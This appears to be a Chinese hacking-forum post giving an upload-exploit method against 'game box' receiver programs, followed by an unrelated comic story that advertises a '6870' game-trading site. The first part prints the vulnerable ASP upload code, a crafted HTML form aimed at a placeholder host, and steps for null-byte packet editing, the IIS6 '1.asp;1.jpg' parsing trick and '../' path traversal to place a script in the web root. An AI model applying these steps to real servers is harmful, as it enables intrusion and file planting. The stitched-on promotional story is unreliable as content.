最新的游戏箱子收信程序上传漏洞利用方法

zz7061098

文章写得简洁一点,但是大家应该能看得懂!
存在这个漏洞的箱子程序还是挺多的!皇马,吉祥什么的好像都有!
首先看一下存在漏洞的具体文件代码,文件名称是GetGif.asp
CODE:
<!--#include file="config.asp"-->
<%
Response.Buffer = True
Server.ScriptTimeOut=180
'On Error Resume Next
'dim SavePath
ExtName = "jpg,gif,png" '允许扩展名
SavePath =imgFolder '保存路径
If Right(SavePath,1)<>"/" Then SavePath=SavePath&"/" '在目录后加(/)
CheckAndCreateFolder(SavePath)
UpLoadAll_a = Request.TotalBytes '取得客户端全部内容
If(UpLoadAll_a<=0) Then
Response.Write "Sorry"  
Response.End
end if
Set UploadStream_c = Server.CreateObject("ADODB.Stream")
UploadStream_c.Type = 1
UploadStream_c.Open
UploadStream_c.Write Request.BinaryRead(UpLoadAll_a)
UploadStream_c.Position = 0
FormDataAll_d = UploadStream_c.Read
CrLf_e = chrB(13)&chrB(10)
FormStart_f = InStrB(FormDataAll_d,CrLf_e)
FormEnd_g = InStrB(FormStart_f+1,FormDataAll_d,CrLf_e)
Set FormStream_h = Server.Createobject("ADODB.Stream")
FormStream_h.Type = 1
FormStream_h.Open
UploadStream_c.Position = FormStart_f + 1
UploadStream_c.CopyTo FormStream_h,FormEnd_g-FormStart_f-3
FormStream_h.Position = 0
FormStream_h.Type = 2
FormStream_h.CharSet = "GB2312"
FormStreamText_i = FormStream_h.Readtext
FormStream_h.Close
FileName_j = Mid(FormStreamText_i,InstrRev(FormStreamText_i,"\")+1,FormEnd_g)
'FileName_j = Mid(FormStreamText_i,InstrRev(FormStreamText_i,"=")+2,FormEnd_g)
'Response.Write FileName_j
If(CheckFileExt(FileName_j,ExtName)) Then
SaveFile = Server.MapPath(SavePath & FileName_j)
'SaveFile=SavePath & FileName_j
If Err Then
Response.Write "Sorry"  
Err.Clear
Response.End
Else
SaveFile = CheckFileExists(SaveFile)
k=Instrb(FormDataAll_d,CrLf_e&CrLf_e)+4
l=Instrb(k+1,FormDataAll_d,leftB(FormDataAll_d,FormStart_f-1))-k-2
FormStream_h.Type=1
FormStream_h.Open
UploadStream_c.Position=k-1
UploadStream_c.CopyTo FormStream_h,l
FormStream_h.SaveToFile SaveFile,2
SaveFileName = Mid(SaveFile,InstrRev(SaveFile,"\")+1)
Response.write "OK"
Response.End
End If
Else
Response.Write "Sorry"  
Response.End
End If
%>
<%
'判断文件类型是否合格
Function CheckFileExt(FileName,ExtName) '文件名,允许上传文件类型
FileType = ExtName
FileType = Split(FileType,",")
For i = 0 To Ubound(FileType)
If LCase(Right(FileName,3)) = LCase(FileType(i)) then
CheckFileExt = True
Exit Function
Else
CheckFileExt = False
End if
Next
End Function
'检查上传文件夹是否存在,不存在则创建文件夹
Function CheckAndCreateFolder(FolderName)
fldr = Server.Mappath(FolderName)
Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists(fldr) Then
fso.CreateFolder(fldr)
End If
Set fso = Nothing
End Function
'检查文件是否存在,重命名存在文件
Function CheckFileExists(FileName)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(SaveFile) Then
i=1
msg=True
Do While msg
CheckFileExists = Replace(SaveFile,Right(SaveFile,4),"_" & i & Right(SaveFile,4))
If not fso.FileExists(CheckFileExists) Then
msg=False
End If
i=i+1
Loop
Else
CheckFileExists = FileName
End If
Set fso=Nothing
End Function
%>
也是很简洁的一个上传代码,也存在上传漏洞,使我们想起了DVBBS的上传漏洞,自己动手写一个HTML提交页面
CODE:
<form action=http://www.xxx.com/getgif.asp method="post" enctype="multipart/form-data" name="form1">
<p>
<input name="file" type="file" size="50">
</p>
<p>
<input type="submit" name="Submit" value="提交">
</p>
</form>然后抓包,改包"20"-"00",NC上传就可以了~这步骤不明白的朋友可以参考一下DVBBS的上传漏洞
以上方法通杀IIS5和IIS6,还有一种方法就是针对IIS6的解析漏洞,可以上传一个1.asp;1.jpg文件也是可以的!
此外还有一个就是针对路径的问题,因为默认的上传路径是/img/
但是很多箱子的主人都把这个路径改掉了,如改成/img001/,更有甚者将目录设置的更为复杂
针对这种情况的解决方法是在包中添加"../”,添加数目可以不是一个,如果箱子主人设置的很BT的话,可以通过提交多个"../”,
在发生提交错误时,之前提交的文件就会被上传到网站的根目录了!具体情况还请大家具体分析一下!

俊华珊

遭遇桃花运，遇到美女主动要求我吻她……

    “这次真是幸运，第一个发现了6870网财神分成系统，立马介绍几个朋友常买卖的哥们到6870交易，5天不到赚了600多块的抽成，还抱得美人归。”我暗暗的对自己说。顺便又偷偷的瞧了旁边那位打扮入时，一袭长发的美女几眼。今天有钱了，和网游里恋爱一个星期的同城老婆约好了在公园见面，暗号是“6870财神”。
    “正是我喜欢的类型。”刚坐下不久，她便坐在我旁边的位置。瞧她举手投足之间尽显圆润的成熟丰姿，身上时而传来馥郁的香气，更让我心情荡漾，神思千里。
    只见她在她的挎包内摸索了一下，突然说：“你好。”
    虽然她没有先说出我们约好的暗号“6870财神”，但她先开口打招呼了，我真是受宠若惊。匆匆之间，我慌忙答道：“你好。”
    她转过头对我嫣然一笑，头微微点了一下，又压低声音：“公园人多讲话不方便，你能听得到么？”
   “ 听得到，听得到，我听得一清二楚。你我二人近在咫尺，我怎么会～～～”
    她未等我说完。突然声色俱厉起来：“你为什么不给我打电话？”
    我惶惶然吞吐道：“不是～～我不打，你知道我们刚约出来见面～～我还没来得及进一步交流～～～”
    她依旧未等我讲完，抢白道“少来！别找什么理由，没打就是没打，干嘛要推三推四的？”
面对她的质问，我不知如何回答。只好愣愣的盯着她.
    她的脸色渐渐地缓和起来，柔声说：“看你那可怜样！这样吧！罚你陪我逛街，上次我看中的那件衣服，今天我要买了它。”
     我摸了摸口袋里的钱包，里面可怜巴巴的躺着几个小钱，心想还好，6870还有600多块这几天抽成的，还有买家积分也可以兑换不少礼品送她。我喃喃道：“贵不贵？我可没有带太多的钱，我的工资不高……要不等我把游戏里一些装备放叮当猪寄售再……”
   “你罗罗嗦嗦的做什么？我什么时候花过你的钱？我自己有钱，你只要陪着我就可以。”
     听了这话，我兴高采烈起来。不花钱还能陪美女逛街，这真是八辈子修来的福气呀！我正要盛赞她几句，只听她说：“你说那件衣服是红色的好看呢？还是黑色的好看？”
     哈哈。问到点子上了，一直没有机会展示自己，正好我刚看了一部关于颜色的专著，正是强项呀！我侃侃而谈：“对于你来说呢，这两种颜色都不错，红色热情，奔放，视觉冲击力极强；黑色冷静，沉稳，神秘感十足。就我个人而言呢，我更偏向于喜欢黑色，因为～～～”
   “干嘛那么麻烦？你喜欢我就买黑色的好了。你一定要陪我一起去哦！”
     我用力的点头如捣蒜，连声说：“一定一定，一定奉陪。”
    “吻我一下。”她娇声道。
    “什么”我一时没有反映过来，这样也太直接了吧！我有些不知所措：“这个～这个～～我们见面时间这么短，而且公园里这么多人，看到了会～～～”
   “快点，别婆婆妈妈，再这样我以后都不理你了，快吻一下！”她有些不耐烦了。
    她一而再，再而三的这样要求。我这男子汉大丈夫要是再不采取行动，真是把6870论坛上男同胞的脸都丢尽了。管它什么公众场合，人员众多。让那些论理道德，规矩法则见鬼去吧～～～所有所有的思想斗争在我
脑子里用千分之一秒完成。我鼓足所有勇气，闭上眼睛，努起嘴凑了过去。
  “这样才对嘛！乖，我也亲你一下。”
   我要是再不主动，对不起全天下的男人！我径直将嘴伸了过去，迎接那激情的一刻。
  “啪”
   我捂着被一记响亮而又有力的耳光打得发烫的脸颊睁开眼睛迷茫的望着她。
   “想耍流氓呀你！！！老娘我可不是好惹的！！！”
    我委屈的正要辩解一番。只见她一甩长发，从耳朵里掏出一副XXX蓝牙耳机放在包里，拂袖傲然而去。 此刻，更让我郁闷的是，我看到了她那大大的喉结，难道是传说中的伪娘！！
    我在极度郁闷和周围人的唾骂声中晕倒在地。